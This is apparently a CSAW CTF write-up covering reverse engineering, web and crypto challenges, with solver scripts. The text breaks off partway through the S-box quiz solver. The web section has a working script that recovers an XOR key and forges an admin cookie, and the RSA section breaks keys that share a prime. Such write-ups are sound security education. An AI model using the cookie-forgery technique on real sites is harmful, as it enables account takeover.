Writeups for some of the challenges from this years CSAW CTF.
Categories:
Reverse Engineering
Baby Rev
For this challenge we're given a single binary executable that takes in a string and seems to tell you if the provided string is the flag or not.
First thing I do on every "baby" reverse engineering challenge is a sanity check: run the strings tool on the binary to make sure the challenge isn't as simple as finding the flag plainely writen in the midst of the binary file.
The strings command produces, among other things, the following output:
Part of this seems strangely similar to base64 encoding, however, there is an extra "H" letter after the equal signs, which ruins the padding. Turns out, if you remove all the "H"s you see here and base64 decode the result you get the flag so I guess the lesson here is always run strings on baby rev challenges. A quick python script gets us our first flag for some easy points!
import base64 strangeString = '''Y3Nhd2N0H ZntOM3YzH cl9wcjA3H M2M3X3MzH bnMxNzF2H M18xbmYwH cm00NzEwH bl91czFuH Z19qdXM3H XzNuYzBkH MW5nIV8jH M25jMGQxH bmdfMXNfH bjB0XzNuH Y3J5cDcxH MG4hfQ==H''' flagb64 = "" for line in strangeString.split('\n'): flagb64 += line[:-1] print (base64.b64decode(flagb64.encode()).decode())
Flag: "csawctf{N3v3r_pr073c7_s3ns171v3_1nf0rm4710n_us1ng_jus7_3nc0d1ng!_#3nc0d1ng_1s_n0t_3ncryp710n!}"
Magic Tricks
For the other reverse challenge I looked at we get an output file with some gibberish data, and a binary executalbe (surprise, surprise).
The executable asks for a a string and writes the result (usually gibberish) to an output file. First thing I did was to attempt a dynamic analysis approach to this, which (spoilers) ended up being enough to solve the challenge. I started by sending what we know is the begining of the flag multiple times.
And got promising results
Not only does it seem like there is a repeating pattern indicating that this is some sort of simple encoding where each character corresponds to a specific sequence of bytes but also this matches the begining of the output for the provided output file. From here I wrote a script to match the encoding output to it's respective letter and then used it to translate the contents of the original output file, gettting the flag.
from binascii import hexlify from pwn import * from time import sleep toSend = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_{|}~" dic = {} for i in range(len(toSend)): r = process("./chall") r.recvuntil("Enter data:") print ("Sending:", toSend[i]) r.sendline(toSend[i]) sleep(3) cur = b"" with open("output.txt", "rb") as file: cur = hexlify(file.read()) print ("Result from program:", cur) dic[cur.decode()] = toSend[i] r.close() # First Attempt #originalOutput = ['c2a8', 'c388', 'c2a2', 'c390', 'c2a8', 'c389', 'c2af', 'c398', 'c389', '716a', 'c2a0', 'c387', 'c38a', 'c2bf', '6a4a', 'c2a0', '62c3', '876a', 'c2a0', '5071', '48c2', 'a0c2', 'b848', 'c392', 'c2a0', '50c2', '80c2', 'a0c3', '89c2', 'b148', 'c2a0', '7041', 'c381', 'c2b1', '48c3', '874a', 'c2a0', 'c2ba', '6252', '4268', 'c39a'] #for c in originalOutput: # try: # print(dic[c],end="") # except: # print("#",end="") #print("") # Output: csawctf#t#_run#_##_####y_#####_#ph##_m### originalOutput = ['c2', 'a8', 'c3', '88', 'c2', 'a2', 'c3', '90', 'c2', 'a8', 'c3', '89', 'c2', 'af', 'c3', '98', 'c3', '89', '71', '6a', 'c2', 'a0', 'c3', '87', 'c3', '8a', 'c2', 'bf', '6a', '4a', 'c2', 'a0', '62', 'c3', '87', '6a', 'c2', 'a0', '50', '71', '48', 'c2', 'a0', 'c2', 'b8', '48', 'c3', '92', 'c2', 'a0', '50', 'c2', '80', 'c2', 'a0', 'c3', '89', 'c2', 'b1', '48', 'c2', 'a0', '70', '41', 'c3', '81', 'c2', 'b1', '48', 'c3', '87', '4a', 'c2', 'a0', 'c2', 'ba', '62', '52', '42', '68', 'c3', '9a'] for i in range(len(originalOutput)): try: curTry = originalOutput[i] if curTry in dic: print(dic[curTry],end="") else: curTry += originalOutput[i+1] print(dic[curTry],end="") i += 1 except: pass print("")
flag: "csawctf{tHE_runE5_ArE_7H3_k3y_7O_th3_G0ph3r5_mA91C}"
Web
Log Me In
In this challenge we are presentes with a simple web app that allows us to register a username and passowrd, log in and access a welcome page.
Looking at the source code, particularly the code for the "/user" endpoint we see that the message in the welcome page will display the flag if our user cookie satisfies the conditon uid == 0. From the "/login" endpoint we see that out account cookie will be an encoded version of something looking like "{'username':[OUR USERNMAE], 'displays':[OUR DISPLAY NAME], 'uid':1}" since the uid of each user is always set to 1 on "/register".
from flask import make_response, session, Blueprint, request, jsonify, render_template, redirect, send_from_directory from pathlib import Path from hashlib import sha256 from utils import is_alphanumeric from models import Account, db from utils import decode, encode flag = (Path(__file__).parent / "flag.txt").read_text() pagebp = Blueprint('pagebp', __name__) @pagebp.route('/') def index(): return send_from_directory("static", 'index.html') @pagebp.route('/login', methods=["GET", "POST"]) def login(): if request.method != 'POST': return send_from_directory('static', 'login.html') username = request.form.get('username') password = sha256(request.form.get('password').strip().encode()).hexdigest() if not username or not password: return "Missing Login Field", 400 if not is_alphanumeric(username) or len(username) > 50: return "Username not Alphanumeric or longer than 50 chars", 403 # check if the username already exists in the DB user = Account.query.filter_by(username=username).first() if not user or user.password != password: return "Login failed!", 403 user = { 'username':user.username, 'displays':user.displayname, 'uid':user.uid } token = encode(dict(user)) if token == None: return "Error while logging in!", 500 response = make_response(jsonify({'message': 'Login successful'})) response.set_cookie('info', token, max_age=3600, httponly=True) return response @pagebp.route('/register', methods=['GET', 'POST']) def register(): if request.method != 'POST': return send_from_directory('static', 'register.html') username = request.form.get('username') password = sha256(request.form.get('password').strip().encode()).hexdigest() displayname = request.form.get('displayname') if not username or not password or not displayname: return "Missing Registration Field", 400 if not is_alphanumeric(username) or len(username) > 50: return "Username not Alphanumeric or it is longer than 50 chars", 403 if not is_alphanumeric(displayname) or len(displayname) > 50: return "Displayname not Alphanumeric or it is longer than 50 chars", 403 # check if the username already exists in the DB user = Account.query.filter_by(username=username).first() if user: return "Username already taken!", 403 acc = Account( username=username, password=password, displayname=displayname, uid=1 ) try: # Add the new account to the session and commit it db.session.add(acc) db.session.commit() return jsonify({'message': 'Account created successfully'}), 201 except Exception as e: db.session.rollback() # Roll back the session on error return jsonify({'error': str(e)}), 500 @pagebp.route('/user') def user(): cookie = request.cookies.get('info', None) name='hello' msg='world' if cookie == None: return render_template("user.html", display_name='Not Logged in!', special_message='Nah') userinfo = decode(cookie) if userinfo == None: return render_template("user.html", display_name='Error...', special_message='Nah') name = userinfo['displays'] msg = flag if userinfo['uid'] == 0 else "No special message at this time..." return render_template("user.html", display_name=name, special_message=msg) @pagebp.route('/logout') def logout(): session.clear() response = make_response(redirect('/')) response.set_cookie('info', '', expires=0) return response
To figure out how this encoding works exactly we keep digging through the source code and find the following:
import re from Crypto.Util.Padding import pad, unpad import json import os def is_alphanumeric(text): pattern = r'^[a-zA-Z0-9]+$' if re.match(pattern, text): return True else: return False def LOG(*args, **kwargs): print(*args, **kwargs, flush=True) # Some cryptographic utilities def encode(status: dict) -> str: try: plaintext = json.dumps(status).encode() out = b'' for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()): out += bytes([i^j]) return bytes.hex(out) except Exception as s: LOG(s) return None def decode(inp: str) -> dict: try: token = bytes.fromhex(inp) out = '' for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()): out += chr(i ^ j) user = json.loads(out) return user except Exception as s: LOG(s) return None
The encryption here is quite simple, it's either a one time pad
(which intuitively seems more likely) or a repeated key xor</p>. Either way we have a way to recover enough of the key to solve the challenge. In both cases our decoded cookie is being Xored with the encryption key. Although we are limited to 50 characters if we register a user with a long username (let’s say “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA” for example) we know the corresponding cookie will be an encoding of “{‘username’:’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’,…”, i.e. this string will get xored with the key. So to recover part of the key all we need to do is xor our unencoded token with the encoded result (since A xor B = C implies A xor C = B). Then we register a smaller username and the part of the key we recover will be more than enough to manually encode a custom cookie with uid = 0.
from os import urandom import requests s = requests.Session() url = "https://logmein1.ctf.csaw.io" user = bytes.hex(urandom(4)) print("Current User:", user) password = bytes.hex(urandom(4)) print("Current Password:", password) display = user print("Current Display Name:", display) r1 = s.post(url + "/register", data = {"username":user, "password":password, "displayname":display}) print (r1.text) r2 = s.post(url + "/login", data = {"username":user, "password":password }) print (r2.text) print (r2.cookies.get_dict()) #print("-----------------------------") #curCookie = bytes.fromhex(r2.cookies.get_dict()['info']) #sent=b"{'username':"+user.encode()+b"," #key=b'' #for i in range(len(sent)): # tmp = sent[i] ^ curCookie[i] # key += bytes.fromhex(hex(tmp)[2:].rjust(2,'0')) #key = bytes.hex(key) #print ("Found partial key:", key) key = '3340394454703830454a4670011876526438726742616377773769745452337367396d71474b7878716b745a4f707278414e4a69584679513556357a23' def decode(text,key): assert len(text) <= len(key) pt = b'' for i in range(len(text)): tmp = key[i] ^ text[i] pt += bytes.fromhex(hex(tmp)[2:].rjust(2,'0')) return pt.decode() curCookie = bytes.fromhex(r2.cookies.get_dict()['info']) byteKey = bytes.fromhex(key) toEdit = decode(curCookie,byteKey) print("\nDecoded cookie:", toEdit) newCookie = toEdit[:-2] + "0" + toEdit[-1:] print ("\nNew cookie:", newCookie) newCookieEncoded = bytes.hex(decode(newCookie.encode(),byteKey).encode()) print ("\nNew cookie encoded:", newCookieEncoded)
flag: "csawctf{S3NS1T1V3_D4T4_ST0R3D_CL13NTS1D3D_B4D_B4D}"
Cryptography
HexHex
For this challenge we get a huge file with mostly hex encoded text. There are two strings that jump out since they seem to use some other type of encoding. Looking at the same and description of the challenge we can guess that a Twin Hex Cipher has been used on the two strings. Throwing them in a Twin Hex Cipher decoder gets us the flag.
flag:"csawctf{hex3d_i7_w3l7_innit_hehe}"
Trapdoor
In this challenge we get two "public_key" files and two encrypted message files. Within the public key files we have the tipical RSA public exponent e = 65537 and two n values, let's call them n1 and n2. First thing I did was check if the greatest common dividor of n1 and n2 is different than 1. If so this means the same prime p has been used as a private parameter for both keys and since calculating the GCD of large numbers is easy we can break the RSA encryption and retrieve the messages.
import binascii c1 = 161657267735196834912863135763588255051084768060167522685145600975477606522389267911595494255951389308603585891670155516473228040572472139266242046480464411011926872432857745283026840801445383620653451687523682849171134262795620963422201106957732644189004161198543408780876818402717692426183521358742475772803427948145681912577138151854201287217310388360035006450255979612146528569192238510701666997268424852524879191797074298541592238357746219444160311336448978081899531731524195638715227224903445226248602579764214997719090230906191407229446647313099400956970509035654967405630240939959592998616003498236942092817559461000588623573048030445521863492730870242644395352424593752773001495951737895664115609421618170689951704330184048125307163740226054228480085636314748554185748105182003072934516641741388554856693783207538862673881733984454590126630762754413784860309730736733101522402317095930278893263812433036953457501549714213711757368647750210251899325644773678135753158374375837529620580830355398764871600754340989211159192515899566042173210432362519000596760898915443009768635625263875643978408948502726014770826616858752941269838500371205265923373317700072776319154266968103160778573051363936325056002056286215658714259892131 c2 = 494623168173341363340467373358957745383595056417571755948370162317759417390186160270770025384341351293889439841723113891870589515038055355274713359875028285461281491108349357922761267441245606066321766119545935676079271349094728585175909045924367012097484771776396598141703907624715907730873180080611197080012999970125893693838478647963157490065546947042621326070901482489910203413759703603136944502613002083194569025640046380564488058425650504612206627739749051853591610981053026318569730551988841304231276711969977298162726941928222523464544797141812329957714866356009363861914935745207975118182966833811723664044706845207847731129336219505772833893718601825819419057471717431953601897992835582033908346998397116046369365580899868759006665351628889935594587647946796811554073758809039163703319444890860711787316692186294350180062910771860180483152240985537326837665737974072086105081591429007858987697382766650868798693024212101169297652870122729568327958629779258375463408029863902774673729692698603549762248768090302360950262068792179771304874203556781584256503067131440856389473604578859795120178476492827306744971082872861030028803971595639553063854220185280566575307797482645881434704155764917254239587927218075951473385530833 e = 65537 n1 = 537269810177819460077689661554997290782982019008162377330038831815573146869875494409546502741769078888560119836988893807659619131795600022996155542011901767164659622251852771410530047820953404275439162903782253582402317577272023052873061733154947413969140900242586288282386516940748102303139488999388815366805771566027048823971232923901589854972341140497344922557809346957285480088567527430942352224246175865278666886538920772608403444601667114300055814252644535406924681931233694920723837668899531758291081568304763353729111948368345349994099868469305792181073122419940610781784779666456780500932337154438538720823939250386789917476722260336949625831449027815346423132208841389383282133423240342633209093536658578807788187537292687621305485734565276685038174693348234827761258142100019798785254244633108887403538365377022084266245064851786520352683721896084403163679116876924559581709943841877168418550922700610256010165841228197765129411475811684669156709601802234298096100301516880419138890353002776631827361005170877640327516465104169299292924318171783865084478980121378972145656688829725118773293892358855082049175572479466474304782889913529927629420886850515337785270820884245044809646784251398955378537462225157041205713008379 n2 = 675112413040615754855341368347991520700645749707972662375138119848808538466484973026629442817490775679486087477873647170707728077849174294413106449041183548981099164777126469098349759962366886352375485394430924686294932854410357033579891793697466117311282071223849125728247324019661552591602816412461639181036083039951358738639409104870090776274099206184327026885209301129700589120263558741373320717866973004474880824451611558352986814186406024139122101780061421498582804842387331594088633719788918481809465044314609904522824483927173924396330723272200351268059583559155873089840203176526189465332287149408627146863937339106591410131104971158916770664709755851365697530033135116269758729627681863469646687585133174854282299126206393656205822175860114547244407037919126445577158000448033562711159480289599400271620922791664179514807098083591794558148460941940996477066832640360820650342057071277962750427121243576612067919616033880922920641430414655749007393524344586517489346008845986135281381956392366857764758769758991862758292829265731964283719870708510272500471228442964550074672417445262035130720875562744233719280755235051883245392409892775011413342074824090752055820699150296553380118608786447588243723987854862785887828651597 def gcd(a,b): while(b): a, b = b, a%b return a p = gcd(n1,n2) print("GDC of n1 and n2:", p) q1 = n1//p q2 = n2//p # Sanity check assert p*q1 == n1 assert p*q2 == n2 phin_1 = (p-1)*(q1-1) phin_2 = (p-1)*(q2-1) d1 = pow(e,-1,phin_1) d2 = pow(e,-1,phin_2) m1 = pow(c1,d1,n1) m2 = pow(c2,d2,n2) print(binascii.unhexlify('0'+hex(m1)[2:]).decode()) print(binascii.unhexlify(hex(m2)[2:]).decode())
flag:"csawctf{n0_p0lyn0m1al_t1m3_f4ct0r1ng_n33d3d_t0_0p3n_th1s_tr4pd00r!}"
Diffusion Pop Quiz
For this challenge we are given the following file and a url to a server to connect to.
# To ensure correctly formatted answers for the challenge, use 1-indexed values for the output bits. # For example, if you have an S-Box of 8 bits to 8 bits, the first output bit is 1, the second is 2, and so forth. # Your ANF expression will have the variables y1, y2, ..., y8. # Put your S-Boxes here. example = [1, 0, 0, 0, 1, 1, 1, 0] # 3 input bits: 000, 001, 010, 011, 100, 101, 110, 111 # Array indexes: 0 1 2 3 4 5 6 7 # f(x1,x2,x3): 0 1 0 0 0 1 1 1 # Customize the following settings to extract specific bits of specific S-Boxes and have a comfortable visualization of terms. SYMBOL = 'x' INPUT_BITS = 3 OUTPUT_BITS = 1 SBOX = example BIT = 1 # Ignore the functions, we've implemented this for you to save your time. # Don't touch it, it might break and we don't want that, right? ;) def get_sbox_result(input_int): return SBOX[input_int] def get_term(binary_string): term = "" i = 1 for (count,bit) in enumerate(binary_string): if bit == "1": term += SYMBOL+str(i)+"*" i += 1 if term == "": return "1" return term[:-1] def get_poly(inputs, outputs): poly = "" for v in inputs: if outputs[v]: poly += get_term(v) + "+" return poly[:-1] def should_sum(u, v, n): for i in range(n): if u[i] > v[i]: return False return True def get_as(vs, f, n): a = {} for v in vs: a[v] = 0 for u in vs: if should_sum(u, v, n): a[v] ^= f[u] return a def get_anf(vs, f, n): return get_poly(vs, get_as(vs, f, n)) def get_vs_and_fis_from_sbox(which_fi): vs = [] fis = {} for input_integer in range(2**INPUT_BITS): sbox_output = get_sbox_result(input_integer) input_integer_binary = bin(input_integer)[2:].zfill(INPUT_BITS) fis[input_integer_binary] = 0 sbox_output_binary = bin(sbox_output)[2:].zfill(OUTPUT_BITS) vs.append(input_integer_binary) fis[input_integer_binary] = int(sbox_output_binary[which_fi-1]) return vs, fis def get_anf_from_sbox_fi(which_fi): vs, fis = get_vs_and_fis_from_sbox(which_fi) poly = get_anf(vs, fis, INPUT_BITS) return poly output = get_anf_from_sbox_fi(BIT) print(output)
When connecting to the server we are presented with a series of questions about diffusion and s-boxes. Answering all of them correctly will give us the flag. For the first question we have to decrypt a simple Ceaser Cipher and for the second one we are asked for the last entry in the AES s-box, which after a quick google search we can find out is "0x16". From here on out the questions mostly boil down to editing the global variables in the provided script. I left notes on my solver script about what specific questions were asking for and the state of the variables in the provided script:
from pwn import * from time import sleep letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" r = remote(b"diffusion-pop-quiz.ctf.csaw.io", 5000) # Question 1 dict = {} r.recvuntil("Can you decrypt this? ") cipherText = r.recvline()[4:-5].decode() print ("Current ciphertext:", cipherText) for letter in letters: r.recvuntil("What would you like to encrypt?") r.sendline(letter) print("Sending:", letter) #sleep(0.2) r.recvuntil("Here is your encrypted text: ") #sleep(0.2) ct = r.recvline()[4:-5].decode() print ("Corresponding ciphertext:", ct) r.recvuntil("Would you like to continue? (yes/no)") r.sendline("yes") #sleep(0.2) dict[ct] = letter r.sendline("A") r.sendline("no") print("Dictionary for Stage 1 completed:",dict) plaintext = "" for c in cipherText: if c != " ": plaintext += dict[c] else: plaintext += " " print ("Plaintext for Stage 1 found:", plaintext) # Diffusion matters a lot curQuestion = 1 #r.recvuntil("What was the original text?") print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline(plaintext) # Question 2 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("0x16") # Question 3 # State of the ANF script varibles: # INPUT_BITS = 3 # OUTPUT_BITS = 1 # SBOX = [0b0,0b1,0b0,0b0,0b0,0b1,0b1,0b1] # BIT = 1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x3+x2*x3+x1*x2") # Question 4 # State of the ANF script varibles: # INPUT_BITS = 3 # OUTPUT_BITS = 2 # SBOX = [0b01,0b10,0b00,0b00,0b01,0b11,0b11,0b10] # BIT = 1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x3+x2*x3+x1*x2") # Question 5 # State of the ANF script varibles: # INPUT_BITS = 3 # OUTPUT_BITS = 2 # SBOX = [0b01,0b10,0b00,0b00,0b01,0b11,0b11,0b10] # BIT = 2 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("1+x3+x2+x2*x3+x1*x3+x1*x2") # Question 6 # From here on out we're given 3 big s-boxes to use # sbox1 = [1, 45, 226, 147, 190, 69, 21, 174, 120, 3, 135, 164, 184, 56, 207, 63, 8, 103, 9, 148, 235, 38, 168, 107, 189, 24, 52, 27, 187, 191, 114, 247, 64, 53, 72, 156, 81, 47, 59, 85, 227, 192, 159, 216, 211, 243, 141, 177, 255, 167, 62, 220, 134, 119, 215, 166, 17, 251, 244, 186, 146, 145, 100, 131, 241, 51, 239, 218, 44, 181, 178, 43, 136, 209, 153, 203, 140, 132, 29, 20, 129, 151, 113, 202, 95, 163, 139, 87, 60, 130, 196, 82, 92, 28, 232, 160, 4, 180, 133, 74, 246, 19, 84, 182, 223, 12, 26, 142, 222, 224, 57, 252, 32, 155, 36, 78, 169, 152, 158, 171, 242, 96, 208, 108, 234, 250, 199, 217, 0, 212, 31, 110, 67, 188, 236, 83, 137, 254, 122, 93, 73, 201, 50, 194, 249, 154, 248, 109, 22, 219, 89, 150, 68, 233, 205, 230, 70, 66, 143, 10, 193, 204, 185, 101, 176, 210, 198, 172, 30, 65, 98, 41, 46, 14, 116, 80, 2, 90, 195, 37, 123, 138, 42, 91, 240, 6, 13, 71, 111, 112, 157, 126, 16, 206, 18, 39, 213, 76, 79, 214, 121, 48, 104, 54, 117, 125, 228, 237, 128, 106, 144, 55, 162, 94, 118, 170, 197, 127, 61, 175, 165, 229, 25, 97, 253, 77, 124, 183, 11, 238, 173, 75, 34, 245, 231, 115, 35, 33, 200, 5, 225, 102, 221, 179, 88, 105, 99, 86, 15, 161, 49, 149, 23, 7, 58, 40] # sbox2 = [152, 158, 42, 231, 197, 251, 250, 79, 39, 1, 96, 57, 146, 137, 178, 133, 170, 32, 212, 154, 73, 97, 78, 7, 204, 218, 9, 195, 88, 149, 71, 235, 199, 247, 211, 124, 33, 0, 219, 185, 77, 2, 81, 201, 164, 224, 76, 102, 69, 198, 181, 20, 28, 210, 147, 115, 226, 180, 80, 189, 150, 46, 166, 171, 248, 37, 227, 21, 13, 63, 228, 216, 191, 143, 103, 40, 184, 121, 246, 207, 61, 26, 98, 249, 174, 156, 155, 10, 176, 44, 123, 114, 100, 240, 70, 130, 188, 104, 252, 126, 15, 131, 239, 234, 122, 229, 134, 214, 31, 8, 127, 236, 65, 208, 255, 128, 93, 190, 83, 135, 47, 183, 22, 173, 112, 241, 106, 186, 53, 49, 193, 64, 237, 36, 16, 153, 94, 92, 165, 203, 116, 144, 12, 138, 172, 177, 5, 202, 215, 56, 66, 117, 132, 142, 59, 209, 17, 11, 27, 206, 151, 111, 162, 87, 225, 161, 159, 160, 244, 108, 67, 243, 253, 196, 140, 51, 107, 113, 84, 230, 118, 34, 220, 89, 6, 68, 213, 163, 58, 141, 221, 200, 54, 23, 182, 217, 14, 24, 222, 60, 62, 110, 38, 55, 74, 129, 50, 148, 72, 167, 136, 35, 30, 109, 205, 90, 238, 29, 194, 254, 41, 187, 85, 82, 101, 119, 192, 145, 157, 125, 223, 19, 4, 175, 45, 139, 232, 18, 86, 179, 95, 245, 91, 99, 105, 48, 120, 168, 3, 43, 233, 75, 25, 242, 52, 169] # sbox3 = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22] # State of the ANF script varibles: # INPUT_BITS = 8 # OUTPUT_BITS = 8 # SBOX = sbox1 # BIT = 3 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x8+x7+x6+x5+x5*x6+x5*x6*x8+x5*x6*x7*x8+x4*x7+x4*x7*x8+x4*x6*x8+x4*x6*x7*x8+x4*x5*x7*x8+x4*x5*x6*x8+x3*x7+x3*x7*x8+x3*x6+x3*x6*x7+x3*x6*x7*x8+x3*x5*x7+x3*x5*x6*x8+x3*x5*x6*x7*x8+x3*x4+x3*x4*x8+x3*x4*x7+x3*x4*x7*x8+x3*x4*x6+x3*x4*x6*x7+x3*x4*x6*x7*x8+x3*x4*x5*x8+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x3*x4*x5*x6*x7*x8+x2+x2*x8+x2*x7+x2*x7*x8+x2*x6+x2*x6*x7*x8+x2*x5*x7*x8+x2*x5*x6+x2*x5*x6*x8+x2*x4+x2*x4*x7*x8+x2*x4*x6*x7+x2*x4*x5*x8+x2*x4*x5*x6+x2*x4*x5*x6*x8+x2*x4*x5*x6*x7+x2*x3+x2*x3*x8+x2*x3*x7+x2*x3*x7*x8+x2*x3*x6*x7*x8+x2*x3*x5+x2*x3*x5*x8+x2*x3*x5*x7+x2*x3*x5*x6+x2*x3*x4+x2*x3*x4*x8+x2*x3*x4*x6*x8+x2*x3*x4*x6*x7*x8+x2*x3*x4*x5*x7+x1*x8+x1*x7+x1*x7*x8+x1*x6+x1*x6*x8+x1*x6*x7+x1*x6*x7*x8+x1*x5+x1*x5*x8+x1*x5*x7+x1*x5*x7*x8+x1*x5*x6+x1*x5*x6*x8+x1*x5*x6*x7+x1*x5*x6*x7*x8+x1*x4+x1*x4*x8+x1*x4*x7+x1*x4*x7*x8+x1*x4*x6+x1*x4*x6*x8+x1*x4*x6*x7+x1*x4*x6*x7*x8+x1*x4*x5+x1*x4*x5*x8+x1*x4*x5*x7+x1*x4*x5*x7*x8+x1*x4*x5*x6+x1*x4*x5*x6*x8+x1*x4*x5*x6*x7+x1*x4*x5*x6*x7*x8+x1*x3*x5*x8+x1*x3*x5*x7*x8+x1*x3*x5*x6*x8+x1*x3*x5*x6*x7*x8+x1*x3*x4*x5*x8+x1*x3*x4*x5*x7*x8+x1*x3*x4*x5*x6*x8+x1*x3*x4*x5*x6*x7*x8+x1*x2+x1*x2*x8+x1*x2*x7+x1*x2*x7*x8+x1*x2*x6+x1*x2*x6*x8+x1*x2*x6*x7+x1*x2*x6*x7*x8+x1*x2*x5+x1*x2*x5*x8+x1*x2*x5*x7+x1*x2*x5*x7*x8+x1*x2*x5*x6+x1*x2*x5*x6*x8+x1*x2*x5*x6*x7+x1*x2*x5*x6*x7*x8+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3*x5*x8+x1*x2*x3*x5*x7*x8+x1*x2*x3*x4*x5*x6*x8") # Question 7 # Here we get asked what input bits is the previous answer dependet on. # To which the answer is all of them print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x1,x2,x3,x4,x5,x6,x7,x8") # Question 8 # Here we get asked if output bit 3 of sbox1 (i.e. answer to Question 6) achieve complete diffusion with respect to the input bits. Which it does since it depends on all input bits. print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("yes") # Question 9 # Similar to Question 6 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x7*x8+x6+x6*x7*x8+x5*x7+x5*x6+x5*x6*x7+x4*x7+x4*x6*x7+x4*x6*x7*x8+x4*x5+x4*x5*x7+x4*x5*x6*x8+x4*x5*x6*x7+x3+x3*x7*x8+x3*x6*x7+x3*x5*x8+x3*x5*x7+x3*x5*x7*x8+x3*x5*x6+x3*x5*x6*x7+x3*x5*x6*x7*x8+x3*x4*x6*x8+x3*x4*x6*x7+x3*x4*x5+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x3*x4*x5*x6*x7*x8+x2+x2*x8+x2*x7*x8+x2*x6*x8+x2*x6*x7+x2*x6*x7*x8+x2*x5+x2*x5*x8+x2*x5*x7*x8+x2*x4+x2*x4*x8+x2*x4*x6+x2*x4*x6*x8+x2*x4*x6*x7+x2*x4*x6*x7*x8+x2*x4*x5*x8+x2*x4*x5*x7*x8+x2*x4*x5*x6*x8+x2*x4*x5*x6*x7*x8+x2*x3*x7+x2*x3*x6+x2*x3*x6*x7*x8+x2*x3*x5*x8+x2*x3*x5*x6+x2*x3*x5*x6*x8+x2*x3*x5*x6*x7*x8+x2*x3*x4*x6+x2*x3*x4*x6*x7+x2*x3*x4*x5*x7+x2*x3*x4*x5*x7*x8+x2*x3*x4*x5*x6*x8+x2*x3*x4*x5*x6*x7+x1*x7+x1*x7*x8+x1*x6*x8+x1*x5+x1*x5*x7+x1*x5*x7*x8+x1*x5*x6*x7+x1*x5*x6*x7*x8+x1*x4*x7*x8+x1*x4*x6*x7+x1*x4*x5*x7+x1*x4*x5*x7*x8+x1*x4*x5*x6*x7+x1*x4*x5*x6*x7*x8+x1*x3+x1*x3*x8+x1*x3*x7+x1*x3*x7*x8+x1*x3*x6*x8+x1*x3*x5*x7+x1*x3*x5*x6+x1*x3*x5*x6*x7+x1*x3*x5*x6*x7*x8+x1*x3*x4+x1*x3*x4*x8+x1*x3*x4*x7+x1*x3*x4*x7*x8+x1*x3*x4*x6+x1*x3*x4*x6*x7*x8+x1*x3*x4*x5*x7+x1*x3*x4*x5*x6+x1*x2+x1*x2*x8+x1*x2*x7+x1*x2*x6+x1*x2*x5*x6*x7*x8+x1*x2*x4*x7*x8+x1*x2*x4*x6*x8+x1*x2*x4*x5+x1*x2*x4*x5*x7+x1*x2*x4*x5*x6+x1*x2*x4*x5*x6*x8+x1*x2*x4*x5*x6*x7+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3+x1*x2*x3*x8+x1*x2*x3*x6*x7+x1*x2*x3*x5+x1*x2*x3*x5*x8+x1*x2*x3*x5*x6*x8+x1*x2*x3*x5*x6*x7+x1*x2*x3*x4*x6*x8+x1*x2*x3*x4*x5+x1*x2*x3*x4*x5*x8+x1*x2*x3*x4*x5*x7*x8+x1*x2*x3*x4*x5*x6*x8") # Question 10 # Similar to Question 7 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x1,x2,x3,x4,x5,x6,x7,x8") # Question 11 # Similar to Question 8 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("yes") # Question 12 # Similar to Question 6 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) 